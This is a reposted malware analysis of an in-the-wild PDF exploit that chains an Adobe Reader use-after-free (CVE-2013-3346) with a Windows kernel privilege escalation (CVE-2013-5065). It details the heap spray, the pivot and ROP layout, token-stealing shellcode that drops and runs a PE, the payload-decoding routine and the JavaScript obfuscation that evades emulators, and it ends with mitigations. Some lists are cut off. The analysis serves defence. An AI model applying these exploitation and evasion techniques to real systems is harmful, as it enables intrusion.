Posté par: igor51 le février 11, 2018, 03:00:36
In
last post, we warned of a
Windows local privilege escalation vulnerability being used in
the wild. We noted that the Windows bug (CVE-2013-5065) was exploited
in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to
evade the Reader sandbox. CVE-2013-3346 was exploited to execute the
attacker’s code in the sandbox-restricted Reader process, where
CVE-2013-5065 was exploited to execute more malicious code in the
Windows kernel.
In this post, we aim to describe the in-the-wild malware sample, from
initial setup to unrestricted code execution.
CVE-2013-3346: Adobe Reader
ToolButton
Use-After-Free
CVE-2013-3346 was
reported to ZDI by Soroush Dalili, apparently in late 2012. We
could fine no public description of the vulnerability. Our conclusion
that the sample from the wild is exploiting CVE-2013-3346 is based
upon the following premises:
condition with ToolButton objects.
Reader patch that addresses CVE-2013-3346 also stops the
in-the-wild exploit.
CVE-2013-3346 Exploitation: Technical Analysis
The bug is a classic use-after-free vulnerability: Within Javascript,
nesting ToolButton objects and freeing the parent from within
child callbacks results in a stale reference to the freed parent. More
specifically, the invalid free can be triggered as follows:
with a callback CB2
The sample from the wild exploits the bug entirely from JavaScript.
The code sets up the heap, builds ROP chains, builds shellcode, and
triggers the actual bug. The only component of the attack that wasn’t
implemented in JavaScript is the last-stage payload (executable file).
The exploit script first chooses some parameters based upon the major
version of Reader (version 9, 10, or 11):
- ROP Chain
- Size of corrupted object
- Address of pivot in heap spray
- The address of a NOP gadget
Next, it sprays the heap with the return-oriented programming (ROP)
attack chain and shellcode, triggers the freeing, and fills the hole
left by the freed object with a pivot to the ROP attack chain.
The freed hole is filled with the following:
000: 41414141 ;; Padding
…
01c: 0c0c08e4 ;; Address of pivot in heap spray
020: 41414141 ;; More padding
…
37c: 41414141 ;; The size of the object is a version-specific parameter
The pivot can be observed with the following windbg breakpoint:
bp 604d7699 "!heap -p -a @esi; dd @esi-1c; .if (@eax != 0x0c0c08e4) { gc; }"The following code shows the object before corruption:
address 02668024 found in
_HEAP @ 1270000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02668000 0071 0000 [01] 02668008 0037c - (busy)
02668008 01278420 00000000 00000002 02a24008
02668018 02763548 00000360 02668008 60a917d4
02668028 00000000 60a917a8 00000000 00000000
02668038 60a91778 00000000 60a91768 0133ded4
02668048 00000001 01d9eb60 00000001 02668024
02668058 00000000 00000000 00000000 00000000
02668068 00000000 00000000 00000000 00000000
02668078 02f32e5c 00000002 00000004 00000000
After corruption, the freed hole has been filled by padding and the
address into the heap at object plus 0x1c as follows:
address 02668024 found in
_HEAP @ 1270000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02668000 0071 0000 [01] 02668008 0037c - (busy)
02668008 41414141 41414141 41414141 41414141
02668018 41414141 41414141 41414141 0c0c08e4
02668028 41414141 41414141 41414141 41414141
02668038 41414141 41414141 41414141 41414141
02668048 41414141 41414141 41414141 41414141
02668058 41414141 41414141 41414141 41414141
02668068 41414141 41414141 41414141 41414141
02668078 41414141 41414141 41414141 41414141
The heap-spray address points to the address of the pivot minus
0x328. This is because of the following instruction, which calls the
address plus 0x328 as follows:
604d768d 8b06 mov eax,dword ptr [esi]
…
604d7699 ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=90e0824a
1:009> dd @eax+0x328
0c0c0c0c 4a82e090 4a82007d 4a850038 4a8246d5
0c0c0c1c ffffffff 00000000 00000040 00000000
0c0c0c2c 00001000 00000000 4a805016 4a84420c
0c0c0c3c 4a814241 4a82007d 4a826015 4a850030
0c0c0c4c 4a84b49d 4a826015 4a8246d5 4a814197
0c0c0c5c 00000026 00000000 00000000 00000000
0c0c0c6c 4a814013 4a84e036 4a82a8df 41414141
0c0c0c7c 00000400 41414141 4a818b31 4a814197
And the pivot is set at 4a82e090, which sets the stack pointer to the
attacker’s ROP chain as follows:
1:009> u 4a82e090
icucnv40!icu_4_0::CharacterIterator::setToStart+0x7:
4a82e090 50 push eax
4a82e091 5c pop esp
4a82e092 c3 ret
The exploit plays out in stages.
Stage 1: ROP
The exploit uses ROP to circumvent data execution prevention (DEP)
features. All of the gadgets, including the pivot, are from
icucnv40.dll. The ROP chain is one of three chains chosen by Reader
major version (9, 10, or 11). The attacker uses a heapspray to place
the pivot, ROP chain, and shellcode at predictable addresses. The ROP chain:
Stage 2: Shellcode
The shellcode exploits CVE-2013-5065 to set the privilege level of
the Reader process to that of system, and then decodes an executable
from the PDF, writes it to the temporary directory, and executes it.
Shellcode Technical Analysis
First, the shellcode copies a Stage 2.1 shellcode stub to RWX memory
mapped to the null page.
0af: ntdll!NtAllocateVirtualMemory RWX memory @ null page
180: Copy privileged shellcode to RWX memory
183: Add current process ID to privileged shellcode
Next, the shellcode exploits CVE-2013-5065 to execute the Stage 2.1
shellcode in the context of the Windows kernel as follows:
19b: Trigger CVE-2013-5065 to execute stage 2.1 from kernel
- :
1ff:
303: Stage 2.1 shellcode begins
3d6: PsLookupProcessByProcessId to get EPROCESS structure for Reader process
3e5: PsLookupProcessByProcessId to get EPROCESS structure for system
3f9: Copy EPROCESS.Token from system to Reader
3fd: Zero the EPROCESS.Job field
This process is documented well in a
(PDF download) from security researcher Ronnie Johndas.
After returning from the kernel, the shellcode iterates over
potential handle values, looking for the encoded PE file embedded
within the PDF as follows:.
...: Find open handle to the PDF file by iterating over potential
...: handle values (0, 4, 8, ...) and testing that:
212: The handle is open and to a file with kernel32!SetFilePointer
21e: The file size is less than 0x1000 bytes with kernel32!GetFileSize
239: It begins with "%PDF" with kernel32!ReadFile
257: Allocate memory with kernel32!VirtualAlloc and
262: Read the PDF into memory with kernel32!ReadFile
26f: Find the encoded PE file by searching for 0xa0909f2 with kernel32!ReadFile
The shellcode decodes the PE file using the following algorithm and
writes it to disk:
def to_u8(i):
if i >= 0: return i
return 0xff + i + 1
buf = buf[4:] # Skip the first four bytes
for i in xrange(len(buf)):
c = ord(buf[i])
c -= ((i)**2)&0xff # Subtract index^2 from character
c = to_u8(c) # convert python number to uint8
c ^= 0xf3 # xor character with 0xf3
o.write(chr(c))
28f: Decode the PE file (algorithm supplied below)
2ad: Get the path to the temporary directory with kernel32!GetTempPathA
2bb: Request a temporary file with kernel32!GetTempFileNameA
2dd: Open the temporary file with kernel32!CreateFileA
2f0: Write decoded PE to temporary file with kernel32!WriteFile
2f4: Close the file
The shellcode executes the decoded PE file as follows:
2fe: kernel32!WinExec "cmd /c "
JavaScript Obfuscation & Evasions
JavaScript analysis engines often emulate suspect code to
de-obfuscate it for further analysis. If the JavaScript emulation
environment doesn’t match the real environment (that is, JavaScript in
Adobe Reader during exploitation), then the attacker can detect a
discrepancy and abort the exploitation to prevent detection. The
exploit implementation begins with the following instruction, what
appears to be emulation-evasion code that causes the script to crash
within emulation systems such as jsunpack:
if(app.media.getPlayers().length >= 1)
Q=~[];
The attacker used a public tool (http://utf-8.jp/public/jjencode.html
with "global variable name" = "Q") to obfuscate
the exploit. It works by building a dictionary that maps wonky names
to hex digits as follows:
// Q={___:"0", $$$$:"f", __$:"1",
$_$_:"a", _$_:"2", $_$$:"b",
$$_$:"d", _$$:"3", $$$_:"e",
$__:"4", $_$:"5", $$__:"c",
$$_:"6", $$$:"7", $___:"8",
$__$:"9" };
Q={___:++Q,$$$$:(![]+"")[Q],__$:++Q,$_$_:(![]+"")[Q],_$_:++Q,$_$$:({}+"")[Q],$$_$:(Q[Q]+"")[Q],_$$:++Q,$$$_:(!""+"")[Q],$__:++Q,$_$:++Q,$$__:({}+"")[Q],$$_:++Q,$$$:++Q,$___:++Q,\
$__$:++Q};
Then, using the dictionary and other built-in strings, it builds more
JavaScript code as follows:
// Q.$_ = "constructor"
Q.$_= /*c*/(Q.$_=Q+"")[Q.$_$]+ // Q.$_ = the string
"[object Object]"
/*o*/(Q._$=Q.$_[Q.__$])+ // by indexing into Q.$_
/*n*/(Q.$$=(Q.$+"")[Q.__$])+ // by indexing into the
string "undefined"
/*s*/((!Q)+"")[Q._$$]+ // and so on...
/*t*/(Q.__=Q.$_[Q.$$_])+
/*r*/(Q.$=(!""+"")[Q.__$])+
/*u*/(Q._=(!""+"")[Q._$_])+
/*c*/Q.$_[Q.$_$]+
/*t*/Q.__+
/*o*/Q._$+
/*r*/Q.$;
It goes on to acquire a reference to the Function object by
accessing "".constructor.constructor and calling
the exploit code by Function("the deobfuscated
script")(). The end result is an entirely indigestible
script. Yuck!
The "".constructor.constructor trick is clever.
While shortening the obfuscated script, it gets around
Function hooks implemented within the JavaScript environment
(that is, by “Function = _Function_hook;”).
Sandbox Bypass
Although the Adobe Reader sandbox for Windows XP has fewer
restrictions compared to sandboxes in Windows 7, 8, and 8.1, it still
has restricted tokens, limited Job settings, broker processes, and
protection policies.
The difference is that the Windows integrity mechanism is not
available in Windows XP. So the sandboxed process does not run in
low-integrity mode.
But it still must bypass the sandbox protection on Windows XP to run
privileged malicious code. As the following screenshot shows, the
sandboxed process is not allowed to create a file in the currently
logged in user’s desktop:
src="https://www.fireeye.com/content/dam/legacy/blog/2013/12/sec1.png"
width="640" height="400" class="landscape-med" />
Figure 1: Sandboxing protection in Windows XP
In this case, the attacker exploits the NDProxy.sys vulnerability to
obtain a higher privilege and bypass the Adobe sandbox protections.
Mitigations
For this kernel exploit (CVE-2013-5065), the attacker uses Windows’
NtAllocateVirtualMemory() routine to map shellcode to the
null page. So enabling null-page protection in Microsoft’s Enhanced
Mitigation Experience Toolkit (EMET) prevents exploitation. You can
also follow the
posted on Microsoft’s TechNet blog or upgrade to a newer version of
Windows (Vista, 7, 8, or 8.1).
Finally, updating Adobe Reader stops the in-the-wild malware sample
by patching the CVE-2013-3346 vulnerability.
Summary
The CVE-2013-3346/5065 vulnerability works as follows:
of the pivot in JavaScript
temp directory
Source: CVE-2013-3346/5065 Technical Analysis (http://)